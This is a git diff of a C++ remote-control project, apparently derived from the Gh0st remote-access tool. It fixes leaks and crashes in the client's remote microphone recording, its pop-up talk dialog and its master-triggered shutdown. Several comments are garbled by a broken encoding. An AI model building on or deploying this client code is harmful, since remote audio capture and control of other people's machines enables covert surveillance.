diff --git a/ReadMe.txt b/ReadMe.txt index 6518030..442e847 100644 --- a/ReadMe.txt +++ b/ReadMe.txt @@ -79,3 +79,11 @@ 2、修正CFileManagerDlg的构造函数调用SHGetFileInfo和FromHandle方法，解决多次打开崩溃。 3、更新服务端zlib版本为V1.2.11。（与客户端不同，因inflate_fast 崩溃，没有采用汇编） + +2019.1.15 + +1、修复主控端CTalkDlg的内存泄漏问题，被控端即时消息对话框置于顶层。 + +2、SAFE_DELETE(ContextObject->olps)有崩溃概率。改为主控端退出时先令被控端退出，就没有内存泄漏。 + +3、开关音频时偶有内存泄漏，waveInCallBack线程不能正常退出。 diff --git a/client/Audio.cpp b/client/Audio.cpp index 539127b..f85e23c 100644 --- a/client/Audio.cpp +++ b/client/Audio.cpp @@ -14,6 +14,7 @@ CAudio::CAudio() { m_bExit = FALSE; m_hThreadCallBack = false; + m_Thread = NULL; m_bIsWaveInUsed = FALSE; m_bIsWaveOutUsed = FALSE; m_nWaveInIndex = 0; @@ -47,26 +48,7 @@ CAudio::CAudio() CAudio::~CAudio() { m_bExit = TRUE; - if (m_bIsWaveInUsed) - { - waveInStop(m_hWaveIn); - waveInReset(m_hWaveIn); - for (int i = 0; i < 2; i++) - waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR)); - waveInClose(m_hWaveIn); - WAIT (m_hThreadCallBack, 30); - if (m_hThreadCallBack) - printf("ûгɹرwaveInCallBack.\n"); - } - - for (int i = 0; i < 2; i++) - { - delete [] m_InAudioData[i]; - m_InAudioData[i] = NULL; - delete [] m_InAudioHeader[i]; - m_InAudioHeader[i] = NULL; - } if (m_hEventWaveIn) { SetEvent(m_hEventWaveIn); @@ -80,6 +62,29 @@ CAudio::~CAudio() m_hStartRecord = NULL; } + if (m_bIsWaveInUsed) + { + waveInStop(m_hWaveIn); + waveInReset(m_hWaveIn); + for (int i = 0; i < 2; i++) + waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR)); + + waveInClose(m_hWaveIn); + WAIT (m_hThreadCallBack, 30); + if (m_hThreadCallBack) + printf("ûгɹرwaveInCallBack.\n"); + TerminateThread(m_Thread, -999); + m_Thread = NULL; + } + + for (int i = 0; i < 2; i++) + { + delete [] m_InAudioData[i]; + m_InAudioData[i] = NULL; + delete [] m_InAudioHeader[i]; + m_InAudioHeader[i] = NULL; + } + if (m_bIsWaveOutUsed) { waveOutReset(m_hWaveOut); @@ -102,8 +107,7 @@ BOOL CAudio::InitializeWaveIn() MMRESULT mmResult; DWORD dwThreadID = 0; - HANDLE h = NULL; - m_hThreadCallBack = h = CreateThread(NULL, 0, + m_hThreadCallBack = m_Thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)waveInCallBack, (LPVOID)this, CREATE_SUSPENDED, &dwThreadID); @@ -114,7 +118,6 @@ BOOL CAudio::InitializeWaveIn() //m_hWaveIn ¼ if (mmResult != MMSYSERR_NOERROR) { - CloseHandle(h); return FALSE; } @@ -130,8 +133,7 @@ BOOL CAudio::InitializeWaveIn() waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR)); - ResumeThread(h); - CloseHandle(h); + ResumeThread(m_Thread); waveInStart(m_hWaveIn); //¼ m_bIsWaveInUsed = TRUE; @@ -170,11 +172,12 @@ DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam) { SetEvent(This->m_hEventWaveIn); WaitForSingleObject(This->m_hStartRecord, INFINITE); + if (This->m_bExit) + break; Sleep(1); This->m_nWaveInIndex = 1 - This->m_nWaveInIndex; - //» MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn, This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR)); @@ -194,7 +197,7 @@ DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam) std::cout<<"waveInCallBack end\n"; This->m_hThreadCallBack = false; - return 0; + return 0; } BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize) diff --git a/client/Audio.h b/client/Audio.h index c49020f..19eb955 100644 --- a/client/Audio.h +++ b/client/Audio.h @@ -26,6 +26,7 @@ public: HWAVEIN m_hWaveIn; //豸 DWORD m_nWaveInIndex; bool m_hThreadCallBack; + HANDLE m_Thread;// waveInCallBack߳ static DWORD WINAPI waveInCallBack(LPVOID lParam); //͵ض LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize); BOOL CAudio::InitializeWaveIn(); diff --git a/client/AudioManager.cpp b/client/AudioManager.cpp index 07980ee..3957f21 100644 --- a/client/AudioManager.cpp +++ b/client/AudioManager.cpp @@ -17,6 +17,8 @@ using namespace std; CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject) { + printf("new CAudioManager %x\n", this); + m_bIsWorking = FALSE; m_AudioObject = NULL; @@ -100,6 +102,7 @@ CAudioManager::~CAudioManager() delete m_AudioObject; m_AudioObject = NULL; } + printf("~CAudioManager %x\n", this); } //USB diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index b03afa5..2fb4555 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -115,7 +115,7 @@ DWORD WINAPI StartClient(LPVOID lParam) while (!g_bExit) { - DWORD dwTickCount = GetTickCount(); + DWORD dwTickCount = GetTickCount(); if (!ClientObject->ConnectServer(g_szServerIP, g_uPort)) { for (int k = 500; !g_bExit && --k; Sleep(10)); diff --git a/client/ClientDll.vcxproj b/client/ClientDll.vcxproj index 190cd41..5d209a4 100644 --- a/client/ClientDll.vcxproj +++ b/client/ClientDll.vcxproj @@ -136,6 +136,9 @@ + + + diff --git a/client/ClientDll.vcxproj.filters b/client/ClientDll.vcxproj.filters index 15423fa..df17464 100644 --- a/client/ClientDll.vcxproj.filters +++ b/client/ClientDll.vcxproj.filters @@ -174,4 +174,9 @@ 资源文件 + + + 资源文件 + + \ No newline at end of file diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index 331570e..86f5185 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -8,13 +8,15 @@ #include "zconf.h" #include "zlib.h" #include +#include "Manager.h" + using namespace std; ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// -VOID IOCPClient::setManagerCallBack(class CManager* Manager) +VOID IOCPClient::setManagerCallBack(CManager* Manager) { m_Manager = Manager; } @@ -22,6 +24,7 @@ VOID IOCPClient::setManagerCallBack(class CManager* Manager) IOCPClient::IOCPClient(bool exit_while_disconnect) { + m_Manager = NULL; WSADATA wsaData; WSAStartup(MAKEWORD(2, 2), &wsaData); @@ -154,6 +157,14 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam) }else{ //ȷվ͵OnRead,תOnRead This->OnServerReceiving(szBuffer, iReceivedLength); + if (This->m_Manager->m_bIsDead) + { + printf("****** Recv bye bye ******\n"); + // ˳ͻ + extern bool g_bExit; + g_bExit = true; + break; + } } } } diff --git a/client/IOCPClient.h b/client/IOCPClient.h index 4f598d9..50f23c3 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -51,14 +51,14 @@ public: char m_szPacketFlag[FLAG_LENGTH]; - VOID setManagerCallBack(class CManager* Manager); + VOID setManagerCallBack(CManager* Manager); VOID Disconnect(); VOID RunEventLoop(const BOOL &bCondition); bool IsConnected() const { return m_bConnected == TRUE; } public: - class CManager* m_Manager; + CManager* m_Manager; CRITICAL_SECTION m_cs; bool m_exit_while_disconnect; }; diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 429e7e0..de7ad06 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -16,7 +16,7 @@ CKernelManager::CKernelManager(IOCPClient* ClientObject):CManager(ClientObject) CKernelManager::~CKernelManager() { - printf("~CKernelManager \n"); + printf("~CKernelManager begin\n"); int i = 0; for (i=0;i<0x1000;i++) { @@ -30,6 +30,7 @@ CKernelManager::~CKernelManager() } } m_ulThreadCount = 0; + printf("~CKernelManager end\n"); } VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) @@ -75,6 +76,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { BYTE bToken = COMMAND_BYE; //ͷļ Common.h m_ClientObject->OnServerSending((char*)&bToken, 1); + m_bIsDead = true; //say goodbye OutputDebugStringA("======> Bye bye \n"); m_hThread[m_ulThreadCount].p = NULL; delete pNew; diff --git a/client/Manager.cpp b/client/Manager.cpp index 515d1fd..b97fd81 100644 --- a/client/Manager.cpp +++ b/client/Manager.cpp @@ -4,6 +4,7 @@ #include "stdafx.h" #include "Manager.h" +#include "IOCPClient.h" ////////////////////////////////////////////////////////////////////// // Construction/Destruction @@ -11,8 +12,9 @@ CManager::CManager(IOCPClient* ClientObject) { + m_bIsDead = false; m_ClientObject = ClientObject; - m_ClientObject->setManagerCallBack(this); + m_ClientObject->setManagerCallBack(this); m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL); } diff --git a/client/Manager.h b/client/Manager.h index 6d19b12..7a0aceb 100644 --- a/client/Manager.h +++ b/client/Manager.h @@ -9,14 +9,12 @@ #pragma once #endif // _MSC_VER > 1000 -#include "IOCPClient.h" - - class IOCPClient; class CManager { public: + bool m_bIsDead; // bye-bye CManager(IOCPClient* ClientObject); virtual ~CManager(); diff --git a/client/Res/ghost.ico b/client/Res/ghost.ico new file mode 100644 index 0000000..04a5af6 Binary files /dev/null and b/client/Res/ghost.ico differ diff --git a/client/Script.rc b/client/Script.rc index 8463eef..b349eaf 100644 --- a/client/Script.rc +++ b/client/Script.rc @@ -25,11 +25,11 @@ LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED // IDD_DIALOG DIALOGEX 0, 0, 180, 108 -STYLE DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU +STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU CAPTION "Ϣʾ" FONT 10, "System", 0, 0, 0x0 BEGIN - EDITTEXT IDC_EDIT_MESSAGE,0,0,180,82,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | NOT WS_BORDER + EDITTEXT IDC_EDIT_MESSAGE,0,0,180,82,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | NOT WS_BORDER | WS_VSCROLL END @@ -120,6 +120,15 @@ BEGIN END END + +///////////////////////////////////////////////////////////////////////////// +// +// Icon +// + +// Icon with lowest ID value placed first to ensure application icon +// remains consistent on all systems. +IDI_ICON_MAIN ICON "Res\\ghost.ico" #endif // (壬й) resources ///////////////////////////////////////////////////////////////////////////// diff --git a/client/TalkManager.cpp b/client/TalkManager.cpp index 3985e69..20bcd9c 100644 --- a/client/TalkManager.cpp +++ b/client/TalkManager.cpp @@ -16,7 +16,7 @@ using namespace std; #define ID_TIMER_CLOSE_WINDOW 3 #define WIN_WIDTH 250 -#define WIN_HEIGHT 250 +#define WIN_HEIGHT 200 ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// @@ -87,6 +87,9 @@ VOID CTalkManager::OnInitDialog(HWND hDlg) { MoveWindow(hDlg, 0, 0, 0, 0, TRUE); + static HICON hIcon = LoadIcon(NULL, MAKEINTRESOURCE(IDI_ICON_MAIN)); + ::SendMessage(hDlg, WM_SETICON, (WPARAM)hIcon, (LPARAM)hIcon); + SetDlgItemText(hDlg,IDC_EDIT_MESSAGE,g_Buffer); memset(g_Buffer,0,sizeof(g_Buffer)); diff --git a/client/ghost.vcxproj b/client/ghost.vcxproj index f6976af..30e4018 100644 --- a/client/ghost.vcxproj +++ b/client/ghost.vcxproj @@ -141,6 +141,9 @@ + + + diff --git a/client/ghost.vcxproj.filters b/client/ghost.vcxproj.filters index 15423fa..df17464 100644 --- a/client/ghost.vcxproj.filters +++ b/client/ghost.vcxproj.filters @@ -174,4 +174,9 @@ 资源文件 + + + 资源文件 + + \ No newline at end of file diff --git a/client/ghost.vcxproj.user b/client/ghost.vcxproj.user index e95cc70..e23900c 100644 --- a/client/ghost.vcxproj.user +++ b/client/ghost.vcxproj.user @@ -6,6 +6,6 @@ WindowsLocalDebugger - 192.168.104.248 2356 + 192.168.104.250 2356 \ No newline at end of file diff --git a/client/resource.h b/client/resource.h index ea95376..b801e4c 100644 --- a/client/resource.h +++ b/client/resource.h @@ -1,16 +1,18 @@ //{{NO_DEPENDENCIES}} -// Microsoft Developer Studio generated include file. -// Used by Script.rc +// Microsoft Visual C++ ɵİļ +// Script.rc ʹ // #define IDD_DIALOG 101 #define IDR_WAVE 102 +#define IDI_ICON1 104 +#define IDI_ICON_MAIN 104 #define IDC_EDIT_MESSAGE 1000 // Next default values for new objects // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 103 +#define _APS_NEXT_RESOURCE_VALUE 105 #define _APS_NEXT_COMMAND_VALUE 40001 #define _APS_NEXT_CONTROL_VALUE 1001 #define _APS_NEXT_SYMED_VALUE 101 diff --git a/server/2015Remote.sln b/server/2015Remote.sln index 2edfd31..098a51c 100644 --- a/server/2015Remote.sln +++ b/server/2015Remote.sln @@ -1,7 +1,10 @@  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio 2012 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "2015Remote", "2015Remote\2015Remote.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}" +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Yama", "2015Remote\2015Remote.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}" + ProjectSection(ProjectDependencies) = postProject + {3F756E52-23C2-4EE4-A184-37CF788D50A7} = {3F756E52-23C2-4EE4-A184-37CF788D50A7} + EndProjectSection EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "..\client\ClientDll.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}" EndProject diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index fc31915..16e8fdd 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -575,6 +575,15 @@ void CMy2015RemoteDlg::OnClose() Shell_NotifyIcon(NIM_DELETE, &m_Nid); #endif + BYTE bToken = COMMAND_BYE; + int n = m_CList_Online.GetItemCount(); + for(int Pos = 0; Pos < n; ++Pos) + { + CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(Pos); + m_iocpServer->OnClientPreSending(ContextObject, &bToken, sizeof(BYTE)); + } + Sleep(200); + EnterCriticalSection(&m_cs); for (std::vector::iterator iter = v_FileDlg.begin(); iter != v_FileDlg.end(); ++iter) @@ -598,7 +607,7 @@ void CMy2015RemoteDlg::OnClose() //Sleepܱⲻ˳ʱıIOCPҪظЩ ShowWindow(SW_HIDE); - Sleep(500); + Sleep(300); if (m_iocpServer!=NULL) { @@ -739,9 +748,9 @@ void CMy2015RemoteDlg::OnOnlineBuildClient() VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength) { POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); //1[pcontext client] 2 3 //1 2 - while(Pos) + while(Pos) { - int iItem = m_CList_Online.GetNextSelectedItem(Pos); + int iItem = m_CList_Online.GetNextSelectedItem(Pos); CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem); //бĿȡClientContextṹ // ͻбݰ //鿴ClientContextṹ @@ -1061,6 +1070,12 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) { switch(p->v1) { + case TALK_DLG: + { + CTalkDlg *Dlg = (CTalkDlg*)p->hDlg; + delete Dlg; + break; + } case VIDEO_DLG: { CVideoDlg *Dlg = (CVideoDlg*)p->hDlg; diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index 68ad481..13a9829 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -98,7 +98,8 @@ IOCPServer::~IOCPServer(void) while (!m_ContextFreePoolList.IsEmpty()) { CONTEXT_OBJECT *ContextObject = m_ContextFreePoolList.RemoveHead(); - SAFE_DELETE(ContextObject->olps); + // бʣ2019.1.14 + //SAFE_DELETE(ContextObject->olps); delete ContextObject; } diff --git a/server/2015Remote/TalkDlg.cpp b/server/2015Remote/TalkDlg.cpp index b4cc2d0..f42e1fa 100644 --- a/server/2015Remote/TalkDlg.cpp +++ b/server/2015Remote/TalkDlg.cpp @@ -41,6 +41,8 @@ BOOL CTalkDlg::OnInitDialog() { CDialog::OnInitDialog(); + m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDR_MAINFRAME)); + SetIcon(m_hIcon, FALSE); BYTE bToken = COMMAND_NEXT; m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE)); diff --git a/server/2015Remote/TalkDlg.h b/server/2015Remote/TalkDlg.h index 52143a6..454538d 100644 --- a/server/2015Remote/TalkDlg.h +++ b/server/2015Remote/TalkDlg.h @@ -16,6 +16,7 @@ public: enum { IDD = IDD_DIALOG_TALK }; CONTEXT_OBJECT* m_ContextObject; IOCPServer* m_iocpServer; + HICON m_hIcon; protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧